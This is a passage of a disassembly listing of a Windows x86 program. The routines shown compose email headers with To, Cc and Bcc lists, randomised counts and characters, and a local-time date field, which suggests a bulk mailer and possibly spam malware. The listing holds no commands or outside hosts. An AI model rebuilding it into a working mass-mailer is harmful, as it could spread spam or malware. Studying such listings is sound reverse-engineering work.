		call	sub_40FA86
		sub	edi, [ebp+var_8]
		cdq
		inc	edi
		idiv	edi
		mov	edi, edx
		add	edi, [ebp+var_8]
		jz	short loc_408F62


loc_408F0A:				; CODE XREF: sub_408E4C+114j
		mov	esi, [ebp+var_10]
		dec	edi
		test	esi, esi
		jnz	short loc_408F17
		call	sub_40DCFC


loc_408F17:				; CODE XREF: sub_408E4C+C4j
		cmp	ebx, [esi+4]
		jnz	short loc_408F2B
		call	sub_40DCFC
		cmp	ebx, [esi+4]
		jnz	short loc_408F2B
		call	sub_40DCFC


loc_408F2B:				; CODE XREF: sub_408E4C+CEj
					; sub_408E4C+D8j
		lea	eax, [ebx+28h]
		call	sub_4057B6
		mov	esi, eax
		call	sub_40FA86
		xor	edx, edx
		div	esi
		lea	esi, [ebx+28h]
		push	edx
		call	sub_409541
		mov	esi, [ebp+arg_0]
		push	0FFFFFFFFh
		push	0
		call	sub_401F95
		test	edi, edi
		jz	short loc_408F62
		push	[ebp+arg_8]
		push	esi
		call	sub_401C66
		jmp	short loc_408F0A
; ---------------------------------------------------------------------------


loc_408F62:				; CODE XREF: sub_408E4C+17j
					; sub_408E4C+48j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_408E4C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_408F69	proc near		; CODE XREF: sub_4089E6+2A4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	esi, eax
		call	sub_40D970
		xor	ebx, ebx
		mov	[ebp+var_8], eax
		inc	ebx
		pop	ecx
		mov	eax, esi
		mov	edi, ebx
		mov	[ebp+var_4], ebx
		call	sub_4057B6
		test	eax, eax
		jbe	short loc_408FD9
		push	0
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_408FA4
		mov	eax, [eax+4]
		jmp	short loc_408FA7
; ---------------------------------------------------------------------------


loc_408FA4:				; CODE XREF: sub_408F69+34j
		add	eax, 4


loc_408FA7:				; CODE XREF: sub_408F69+39j
		push	eax
		call	sub_410040
		mov	[ebp+var_4], eax
		pop	ecx
		mov	eax, esi
		call	sub_4057B6
		cmp	eax, ebx
		jbe	short loc_408FD9
		push	ebx
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_408FCD
		mov	eax, [eax+4]
		jmp	short loc_408FD0
; ---------------------------------------------------------------------------


loc_408FCD:				; CODE XREF: sub_408F69+5Dj
		add	eax, 4


loc_408FD0:				; CODE XREF: sub_408F69+62j
		push	eax
		call	sub_410040
		pop	ecx
		mov	edi, eax


loc_408FD9:				; CODE XREF: sub_408F69+27j
					; sub_408F69+51j
		call	sub_40FA86
		sub	edi, [ebp+var_4]
		cdq
		inc	edi
		idiv	edi
		mov	edi, edx
		add	edi, [ebp+var_4]
		jz	short loc_40900F


loc_408FEC:				; CODE XREF: sub_408F69+A4j
		dec	edi
		call	sub_40FA86
		xor	edx, edx
		div	[ebp+var_8]
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	al, [edx+eax]
		mov	byte ptr [ebp+var_4], al
		push	[ebp+var_4]
		call	sub_40140F
		test	edi, edi
		jnz	short loc_408FEC


loc_40900F:				; CODE XREF: sub_408F69+81j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_408F69	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409016	proc near		; CODE XREF: sub_4089E6+2C6p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		mov	edi, [ebx+4]
		cmp	edi, [ebx+8]
		mov	esi, eax
		jbe	short loc_409031
		call	sub_40DCFC


loc_409031:				; CODE XREF: sub_409016+14j
		mov	[ebp+var_14], edi
		xor	edi, edi
		mov	eax, esi
		mov	[ebp+var_18], ebx
		mov	[ebp+var_8], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], edi
		call	sub_4057B6
		test	eax, eax
		jbe	short loc_40906B
		push	edi
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_40905E
		mov	eax, [eax+4]
		jmp	short loc_409061
; ---------------------------------------------------------------------------


loc_40905E:				; CODE XREF: sub_409016+41j
		add	eax, 4


loc_409061:				; CODE XREF: sub_409016+46j
		push	eax
		call	sub_410040
		pop	ecx
		mov	[ebp+var_8], eax


loc_40906B:				; CODE XREF: sub_409016+35j
		mov	eax, esi
		call	sub_4057B6
		cmp	eax, 1
		jbe	short loc_409096
		push	1
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_409089
		mov	eax, [eax+4]
		jmp	short loc_40908C
; ---------------------------------------------------------------------------


loc_409089:				; CODE XREF: sub_409016+6Cj
		add	eax, 4


loc_40908C:				; CODE XREF: sub_409016+71j
		push	eax
		call	sub_410040
		pop	ecx
		mov	[ebp+var_C], eax


loc_409096:				; CODE XREF: sub_409016+5Fj
		mov	eax, esi
		call	sub_4057B6
		cmp	eax, 2
		jbe	short loc_4090C1
		push	2
		call	sub_409541
		cmp	dword ptr [eax+18h], 10h
		jb	short loc_4090B4
		mov	eax, [eax+4]
		jmp	short loc_4090B7
; ---------------------------------------------------------------------------


loc_4090B4:				; CODE XREF: sub_409016+97j
		add	eax, 4


loc_4090B7:				; CODE XREF: sub_409016+9Cj
		push	eax
		call	sub_410040
		pop	ecx
		mov	[ebp+var_10], eax


loc_4090C1:				; CODE XREF: sub_409016+8Aj
		cmp	[ebp+var_8], edi
		jle	loc_40919B
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_4090D7
		call	sub_40DCFC


loc_4090D7:				; CODE XREF: sub_409016+BAj
		mov	[ebp+var_1C], esi
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_18]
		mov	[ebp+var_20], ebx
		call	sub_407BB6
		test	al, al
		jz	loc_40919B
		push	offset aTo	; "To: "
		push	[ebp+arg_0]
		call	sub_401C66
		mov	[ebp+var_1], 1
		mov	[ebp+var_20], ebx


loc_409104:				; CODE XREF: sub_409016+180j
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_409111
		call	sub_40DCFC


loc_409111:				; CODE XREF: sub_409016+F4j
		mov	[ebp+var_1C], esi
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_18]
		call	sub_407BB6
		test	al, al
		jz	short loc_40919B
		dec	[ebp+var_8]
		js	short loc_40919B
		cmp	[ebp+var_1], 0
		jnz	short loc_40913D
		push	offset asc_41ED40 ; ", "
		push	[ebp+arg_0]
		call	sub_401C66
		jmp	short loc_409141
; ---------------------------------------------------------------------------


loc_40913D:				; CODE XREF: sub_409016+116j
		mov	[ebp+var_1], 0


loc_409141:				; CODE XREF: sub_409016+125j
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	3Ch
		inc	ebx
		mov	esi, edi
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_409835
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	0
		mov	esi, edi
		call	sub_401F95
		push	40h
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_409835
		mov	eax, [eax]
		push	0FFFFFFFFh
		add	eax, 1Ch
		push	0
		mov	esi, edi
		call	sub_401F95
		push	3Eh
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_407BD3
		mov	ebx, [ebp+arg_4]
		jmp	loc_409104
; ---------------------------------------------------------------------------


loc_40919B:				; CODE XREF: sub_409016+AEj
					; sub_409016+D4j ...
		cmp	[ebp+var_C], 0
		jle	loc_409276
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_4091B2
		call	sub_40DCFC


loc_4091B2:				; CODE XREF: sub_409016+195j
		mov	[ebp+var_1C], esi
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_18]
		mov	[ebp+var_20], ebx
		call	sub_407BB6
		test	al, al
		jz	loc_409276
		push	offset aCc	; "\r\nCc: "
		push	[ebp+arg_0]
		call	sub_401C66
		mov	[ebp+var_1], 1
		mov	[ebp+var_20], ebx


loc_4091DF:				; CODE XREF: sub_409016+25Bj
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_4091EC
		call	sub_40DCFC


loc_4091EC:				; CODE XREF: sub_409016+1CFj
		mov	[ebp+var_1C], esi
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_18]
		call	sub_407BB6
		test	al, al
		jz	short loc_409276
		dec	[ebp+var_C]
		js	short loc_409276
		cmp	[ebp+var_1], 0
		jnz	short loc_409218
		push	offset asc_41ED40 ; ", "
		push	[ebp+arg_0]
		call	sub_401C66
		jmp	short loc_40921C
; ---------------------------------------------------------------------------


loc_409218:				; CODE XREF: sub_409016+1F1j
		mov	[ebp+var_1], 0


loc_40921C:				; CODE XREF: sub_409016+200j
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	3Ch
		inc	ebx
		mov	esi, edi
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_409835
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	0
		mov	esi, edi
		call	sub_401F95
		push	40h
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_409835
		mov	eax, [eax]
		push	0FFFFFFFFh
		add	eax, 1Ch
		push	0
		mov	esi, edi
		call	sub_401F95
		push	3Eh
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_407BD3
		mov	ebx, [ebp+arg_4]
		jmp	loc_4091DF
; ---------------------------------------------------------------------------


loc_409276:				; CODE XREF: sub_409016+189j
					; sub_409016+1AFj ...
		cmp	[ebp+var_10], 0
		jle	loc_409351
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_40928D
		call	sub_40DCFC


loc_40928D:				; CODE XREF: sub_409016+270j
		mov	[ebp+var_1C], esi
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_18]
		mov	[ebp+var_20], ebx
		call	sub_407BB6
		test	al, al
		jz	loc_409351
		push	offset aBcc	; "\r\nBcc: "
		push	[ebp+arg_0]
		call	sub_401C66
		mov	[ebp+var_1], 1
		mov	[ebp+var_20], ebx


loc_4092BA:				; CODE XREF: sub_409016+336j
		mov	esi, [ebx+8]
		cmp	[ebx+4], esi
		jbe	short loc_4092C7
		call	sub_40DCFC


loc_4092C7:				; CODE XREF: sub_409016+2AAj
		mov	[ebp+var_1C], esi
		lea	edi, [ebp+var_20]
		lea	esi, [ebp+var_18]
		call	sub_407BB6
		test	al, al
		jz	short loc_409351
		dec	[ebp+var_10]
		js	short loc_409351
		cmp	[ebp+var_1], 0
		jnz	short loc_4092F3
		push	offset asc_41ED40 ; ", "
		push	[ebp+arg_0]
		call	sub_401C66
		jmp	short loc_4092F7
; ---------------------------------------------------------------------------


loc_4092F3:				; CODE XREF: sub_409016+2CCj
		mov	[ebp+var_1], 0


loc_4092F7:				; CODE XREF: sub_409016+2DBj
		mov	edi, [ebp+arg_0]
		xor	ebx, ebx
		push	3Ch
		inc	ebx
		mov	esi, edi
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_409835
		mov	eax, [eax]
		push	0FFFFFFFFh
		push	0
		mov	esi, edi
		call	sub_401F95
		push	40h
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_409835
		mov	eax, [eax]
		push	0FFFFFFFFh
		add	eax, 1Ch
		push	0
		mov	esi, edi
		call	sub_401F95
		push	3Eh
		call	sub_40140F
		lea	esi, [ebp+var_18]
		call	sub_407BD3
		mov	ebx, [ebp+arg_4]
		jmp	loc_4092BA
; ---------------------------------------------------------------------------


loc_409351:				; CODE XREF: sub_409016+264j
					; sub_409016+28Aj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
sub_409016	endp


; =============== S U B	R O U T	I N E =======================================



sub_409358	proc near		; CODE XREF: sub_408593+7Bp
		mov	eax, offset loc_41AFDA
		call	sub_41AE44
		sub	esp, 0E0h
		lea	eax, [ebp-1Ch]
		push	eax
		call	dword_41C0DC	; GetLocalTime
		lea	eax, [ebp-0E8h]
		push	eax
		call	dword_41C0D8	; GetTimeZoneInformation
		push	dword ptr [ebp-0E8h]
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-38h]
		push	eax
		call	sub_40D2A0
		add	esp, 0Ch
		mov	ecx, [ebp+8]
		and	dword ptr [ebp-4], 0
		push	0FFFFFFFFh
		push	0
		push	eax
		call	sub_401315
		push	0
		push	1
		lea	ecx, [ebp-38h]
		call	sub_4013C4
		mov	ecx, [ebp-0Ch]
		mov	large fs:0, ecx
		leave
		retn	4
sub_409358	endp


; =============== S U B	R O U T	I N E =======================================



sub_4093C0	proc near		; CODE XREF: sub_4081BF+1F9p
					; sub_4081BF+386p ...
		mov	eax, offset loc_41B10D
		call	sub_41AE44
		sub	esp, 1Ch
		push	ebx
		push	dword ptr [edi]
		push	offset asc_41EBE8 ; "\r\n"
		push	dword ptr [ebp+0Ch]
		call	sub_401C81
		mov	ebx, eax
		mov	eax, [edi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_409429
		push	esi
		mov	ecx, ebx
		sub	ecx, eax
		push	ecx
		push	eax
		push	dword ptr [ebp+0Ch]
		lea	esi, [ebp-28h]
		call	sub_405527
		mov	ecx, [ebp+8]
		push	0FFFFFFFFh
		xor	esi, esi
		push	esi
		push	eax
		mov	[ebp-4], esi
		call	sub_401315
		push	esi
		push	1
		lea	ecx, [ebp-28h]
		call	sub_4013C4
		cmp	ebx, 0FFFFFFFFh
		pop	esi
		jz	short loc_409427
		push	offset asc_41EBE8 ; "\r\n"
		call	sub_40D970
		pop	ecx
		add	ebx, eax


loc_409427:				; CODE XREF: sub_4093C0+58j
		mov	[edi], ebx


loc_409429:				; CODE XREF: sub_4093C0+24j
		mov	eax, [edi]
		mov	ecx, [ebp+0Ch]
		cmp	[ecx+14h], eax
		mov	ecx, [ebp-0Ch]
		sbb	eax, eax
		inc	eax
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4093C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_409441	proc near		; CODE XREF: sub_4081BF+2Fp
		mov	eax, offset loc_41AF5A
		call	sub_41AE44
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		xor	edi, edi
		mov	[ebp-10h], edi
		call	sub_4012E2
		mov	ebx, [ebp+0Ch]
		mov	[ebp-4], edi
		cmp	[ebx+14h], edi
		mov	dword ptr [ebp-10h], 1
		jbe	short loc_4094B4


loc_40946F:				; CODE XREF: sub_409441+71j
		mov	eax, ebx
		call	sub_4012F5
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_409488
		push	offset asc_41EBE8 ; "\r\n"
		push	esi
		call	sub_401C66
		jmp	short loc_4094AE
; ---------------------------------------------------------------------------


loc_409488:				; CODE XREF: sub_409441+38j
		mov	eax, ebx
		call	sub_4012F5
		cmp	byte ptr [eax],	0Dh
		jz	short loc_4094AE
		mov	eax, ebx
		call	sub_4012F5
		mov	al, [eax]
		mov	[ebp-14h], al
		push	dword ptr [ebp-14h]
		xor	ebx, ebx
		inc	ebx
		call	sub_40140F
		mov	ebx, [ebp+0Ch]


loc_4094AE:				; CODE XREF: sub_409441+45j
					; sub_409441+51j
		inc	edi
		cmp	edi, [ebx+14h]
		jb	short loc_40946F


loc_4094B4:				; CODE XREF: sub_409441+2Cj
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_409441	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4094C5	proc near		; CODE XREF: sub_4089E6+31p
					; sub_4089E6+3FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	offset asc_41EC38 ; "#$"
		mov	esi, eax
		call	sub_40D970
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40952C
		mov	ecx, [ebx+14h]
		cmp	esi, ecx
		jnb	short loc_40952C
		mov	edx, [ebx+18h]
		cmp	edx, 10h
		lea	edi, [ebx+4]
		jb	short loc_4094F6
		mov	eax, [edi]
		jmp	short loc_4094F8
; ---------------------------------------------------------------------------


loc_4094F6:				; CODE XREF: sub_4094C5+2Bj
		mov	eax, edi


loc_4094F8:				; CODE XREF: sub_4094C5+2Fj
		add	eax, ecx
		cmp	edx, 10h
		mov	[ebp+var_8], eax
		jb	short loc_409506
		mov	ecx, [edi]
		jmp	short loc_409508
; ---------------------------------------------------------------------------


loc_409506:				; CODE XREF: sub_4094C5+3Bj
		mov	ecx, edi


loc_409508:				; CODE XREF: sub_4094C5+3Fj
		add	esi, ecx
		cmp	esi, eax
		jnb	short loc_40952C


loc_40950E:				; CODE XREF: sub_4094C5+65j
		movsx	eax, byte ptr [esi]
		push	[ebp+var_4]
		push	eax
		push	offset asc_41EC38 ; "#$"
		call	sub_40F560
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_409533
		inc	esi
		cmp	esi, [ebp+var_8]
		jb	short loc_40950E


loc_40952C:				; CODE XREF: sub_4094C5+19j
					; sub_4094C5+20j ...
		or	eax, 0FFFFFFFFh


loc_40952F:				; CODE XREF: sub_4094C5+7Aj
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_409533:				; CODE XREF: sub_4094C5+5Fj
		cmp	dword ptr [ebx+18h], 10h
		jb	short loc_40953B
		mov	edi, [edi]


loc_40953B:				; CODE XREF: sub_4094C5+72j
		sub	esi, edi
		mov	eax, esi
		jmp	short loc_40952F
sub_4094C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_409541	proc near		; CODE XREF: sub_408E4C+1Fp
					; sub_408E4C+64p ...

arg_0		= dword	ptr  4

		mov	eax, esi
		call	sub_4057B6
		cmp	[esp+arg_0], eax
		jb	short loc_409553
		call	sub_40DCFC


loc_409553:				; CODE XREF: sub_409541+Bj
		mov	eax, [esp+arg_0]
		imul	eax, 1Ch
		add	eax, [esi+4]
		retn	4
sub_409541	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409560	proc near		; CODE XREF: sub_4081BF+376p
					; sub_408593+28Fp ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, eax
		push	edi
		mov	edi, [esi+4]
		test	edi, edi
		jnz	short loc_409576
		xor	ebx, ebx
		jmp	short loc_409583
; ---------------------------------------------------------------------------


loc_409576:				; CODE XREF: sub_409560+10j
		mov	eax, [esi+0Ch]
		sub	eax, edi
		push	1Ch
		cdq
		pop	ecx
		idiv	ecx
		mov	ebx, eax


loc_409583:				; CODE XREF: sub_409560+14j
		mov	eax, esi
		call	sub_4057B6
		cmp	eax, ebx
		jnb	short loc_4095A0
		push	[ebp+arg_0]
		push	1
		push	dword ptr [esi+8]
		call	sub_409A9C
		mov	[esi+8], eax
		jmp	short loc_4095B9
; ---------------------------------------------------------------------------


loc_4095A0:				; CODE XREF: sub_409560+2Cj
		mov	ebx, [esi+8]
		cmp	edi, ebx
		jbe	short loc_4095AC
		call	sub_40DCFC


loc_4095AC:				; CODE XREF: sub_409560+45j
		push	ebx
		push	esi
		push	[ebp+arg_0]
		lea	ebx, [ebp+var_C]
		call	sub_409A1D


loc_4095B9:				; CODE XREF: sub_409560+3Ej
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_409560	endp


; =============== S U B	R O U T	I N E =======================================



sub_4095C0	proc near		; CODE XREF: sub_408593+75p
					; sub_408593+AAp ...
		mov	eax, offset loc_41AFC8
		call	sub_41AE44
		sub	esp, 68h
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		push	edi
		push	dword ptr [ebp+0Ch]
		mov	eax, esi
		call	sub_40A70C
		xor	ebx, ebx
		cmp	esi, ebx
		mov	[ebp-14h], eax
		jnz	short loc_4095EB
		call	sub_40DCFC


loc_4095EB:				; CODE XREF: sub_4095C0+24j
		mov	eax, [esi+4]
		mov	[ebp-18h], esi
		mov	[ebp-20h], esi
		lea	edi, [ebp-20h]
		lea	esi, [ebp-18h]
		mov	[ebp-1Ch], eax
		call	sub_40989F
		test	al, al
		mov	esi, [ebp-14h]
		jnz	short loc_409618
		mov	eax, [ebp+0Ch]
		lea	ecx, [esi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_40968C


loc_409618:				; CODE XREF: sub_4095C0+47j
		push	ebx
		lea	ecx, [ebp-3Ch]
		mov	dword ptr [ebp-24h], 0Fh
		call	sub_401564
		push	dword ptr [ebp+0Ch]
		lea	ecx, [ebp-74h]
		mov	[ebp-4], ebx
		call	sub_401C1E
		lea	eax, [ebp-3Ch]
		push	eax
		lea	ecx, [ebp-58h]
		mov	byte ptr [ebp-4], 1
		call	sub_401C1E
		push	esi
		mov	byte ptr [ebp-4], 2
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-74h]
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		mov	eax, [ebp+8]
		call	sub_409ACC
		mov	edi, [eax]
		mov	eax, [eax+4]
		push	ebx
		push	1
		lea	ecx, [ebp-58h]
		mov	[ebp-14h], eax
		call	sub_4013C4
		push	ebx
		push	1
		lea	ecx, [ebp-74h]
		call	sub_4013C4
		push	ebx
		push	1
		lea	ecx, [ebp-3Ch]
		call	sub_4013C4
		mov	esi, [ebp-14h]
		jmp	short loc_40968F
; ---------------------------------------------------------------------------


loc_40968C:				; CODE XREF: sub_4095C0+56j
		mov	edi, [ebp-18h]


loc_40968F:				; CODE XREF: sub_4095C0+CAj
		cmp	edi, ebx
		jnz	short loc_409698
		call	sub_40DCFC


loc_409698:				; CODE XREF: sub_4095C0+D1j
		cmp	esi, [edi+4]
		jnz	short loc_4096A2
		call	sub_40DCFC


loc_4096A2:				; CODE XREF: sub_4095C0+DBj
		mov	ecx, [ebp-0Ch]
		pop	edi
		lea	eax, [esi+28h]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_4095C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096B6	proc near		; CODE XREF: sub_408593+417p
					; .vty:004089C1p

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 0Ch
		push	ebx
		mov	ebx, eax
		mov	eax, [ebx+4]
		mov	ecx, [eax]
		push	eax
		push	ebx
		push	ecx
		push	ebx
		lea	eax, [esp+20h+var_8]
		push	eax
		call	sub_40A50C
		push	dword ptr [ebx+4]
		call	sub_40DD8A
		and	dword ptr [ebx+4], 0
		and	dword ptr [ebx+8], 0
		pop	ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4096B6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4096EB	proc near		; CODE XREF: sub_408593+40Cp
					; .vty:004089C9p

var_8		= byte ptr -8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		push	ecx
		push	ecx
		push	ebx
		push	edi
		mov	edi, eax
		mov	eax, [edi+4]
		mov	ecx, [eax]
		push	eax
		push	edi
		push	ecx
		push	edi
		lea	ebx, [esp+20h+var_8]
		call	sub_40A73E
		push	dword ptr [edi+4]
		call	sub_40DD8A
		and	dword ptr [edi+4], 0
		and	dword ptr [edi+8], 0
		pop	ecx
		pop	edi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_4096EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409720	proc near		; CODE XREF: sub_408593+1CDp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebx+4]
		push	esi
		mov	esi, [eax+4]
		mov	[ebp+var_8], eax
		mov	al, 1
		mov	byte ptr [ebp+var_C], al
		jmp	short loc_409753
; ---------------------------------------------------------------------------


loc_409737:				; CODE XREF: sub_409720+37j
		mov	eax, [ebp+arg_0]
		lea	ecx, [esi+0Ch]
		mov	[ebp+var_8], esi
		call	sub_409C4D
		test	al, al
		mov	byte ptr [ebp+var_C], al
		jz	short loc_409750
		mov	esi, [esi]
		jmp	short loc_409753
; ---------------------------------------------------------------------------


loc_409750:				; CODE XREF: sub_409720+2Aj
		mov	esi, [esi+8]


loc_409753:				; CODE XREF: sub_409720+15j
					; sub_409720+2Ej
		cmp	byte ptr [esi+39h], 0
		jz	short loc_409737
		test	al, al
		mov	ecx, [ebp+var_8]
		mov	esi, ecx
		mov	[ebp+var_10], esi
		mov	[ebp+var_14], ebx
		jz	short loc_40979A
		mov	eax, [ebx+4]
		cmp	ecx, [eax]
		jnz	short loc_40978F
		push	[ebp+arg_0]
		push	1


loc_409774:				; CODE XREF: sub_409720+92j
		lea	eax, [ebp+var_14]
		push	eax
		mov	esi, ebx
		call	sub_409C73
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[edi], ecx
		mov	[edi+4], eax
		mov	byte ptr [edi+8], 1
		jmp	short loc_4097C0
; ---------------------------------------------------------------------------


loc_40978F:				; CODE XREF: sub_409720+4Dj
		lea	esi, [ebp+var_14]
		call	sub_409DC9
		mov	esi, [ebp+var_10]


loc_40979A:				; CODE XREF: sub_409720+46j
		mov	ecx, [ebp+arg_0]
		lea	eax, [esi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_4097B4
		push	[ebp+arg_0]
		mov	ecx, [ebp+var_8]
		push	[ebp+var_C]
		jmp	short loc_409774
; ---------------------------------------------------------------------------


loc_4097B4:				; CODE XREF: sub_409720+87j
		mov	eax, [ebp+var_14]
		mov	[edi], eax
		mov	[edi+4], esi
		mov	byte ptr [edi+8], 0


loc_4097C0:				; CODE XREF: sub_409720+6Dj
		mov	eax, edi
		pop	esi
		leave
		retn	4
sub_409720	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4097C7	proc near		; CODE XREF: sub_408E4C+29p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [edi+4]
		sub	esp, 10h
		push	ebx
		push	esi
		mov	esi, [eax+4]
		mov	ebx, eax
		jmp	short loc_4097F1
; ---------------------------------------------------------------------------


loc_4097D9:				; CODE XREF: sub_4097C7+2Ej
		mov	ecx, [ebp+arg_4]
		lea	eax, [esi+0Ch]
		call	sub_409C4D
		test	al, al
		jz	short loc_4097ED
		mov	esi, [esi+8]
		jmp	short loc_4097F1
; ---------------------------------------------------------------------------


loc_4097ED:				; CODE XREF: sub_4097C7+1Fj
		mov	ebx, esi
		mov	esi, [esi]


loc_4097F1:				; CODE XREF: sub_4097C7+10j
					; sub_4097C7+24j
		cmp	byte ptr [esi+39h], 0
		jz	short loc_4097D9
		cmp	ebx, [edi+4]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], edi
		jz	short loc_409816
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+0Ch]
		call	sub_409C4D
		test	al, al
		jnz	short loc_409816
		lea	ecx, [ebp+var_8]
		jmp	short loc_409822
; ---------------------------------------------------------------------------


loc_409816:				; CODE XREF: sub_4097C7+39j
					; sub_4097C7+48j
		mov	eax, [edi+4]
		mov	[ebp+var_C], eax
		mov	[ebp+var_10], edi
		lea	ecx, [ebp+var_10]


loc_409822:				; CODE XREF: sub_4097C7+4Dj
		mov	edx, [ecx]
		mov	eax, [ebp+arg_0]
		mov	ecx, [ecx+4]
		pop	esi
		mov	[eax], edx
		mov	[eax+4], ecx
		pop	ebx
		leave
		retn	8
sub_4097C7	endp


; =============== S U B	R O U T	I N E =======================================



sub_409835	proc near		; CODE XREF: sub_4027E7+8Ap
					; sub_402AA0+A8p ...
		cmp	dword ptr [esi], 0
		jnz	short loc_40983F
		call	sub_40DCFC


loc_40983F:				; CODE XREF: sub_409835+3j
		mov	eax, [esi]
		mov	ecx, [esi+4]
		cmp	ecx, [eax+8]
		jb	short loc_40984E
		call	sub_40DCFC


loc_40984E:				; CODE XREF: sub_409835+12j
		mov	eax, [esi+4]
		retn
sub_409835	endp


; =============== S U B	R O U T	I N E =======================================



sub_409852	proc near		; CODE XREF: sub_409ACC+121p
					; sub_40A50C+74p ...
		push	ebx
		xor	ebx, ebx
		cmp	[esi], ebx
		jnz	short loc_40985E
		call	sub_40DCFC


loc_40985E:				; CODE XREF: sub_409852+5j
		mov	eax, [esi+4]
		cmp	[eax+45h], bl
		jz	short loc_40986D
		call	sub_40DCFC
		jmp	short loc_40989B
; ---------------------------------------------------------------------------


loc_40986D:				; CODE XREF: sub_409852+12j
		mov	ecx, [eax+8]
		cmp	[ecx+45h], bl
		jnz	short loc_409890
		jmp	short loc_409879
; ---------------------------------------------------------------------------


loc_409877:				; CODE XREF: sub_409852+2Cj
		mov	ecx, eax


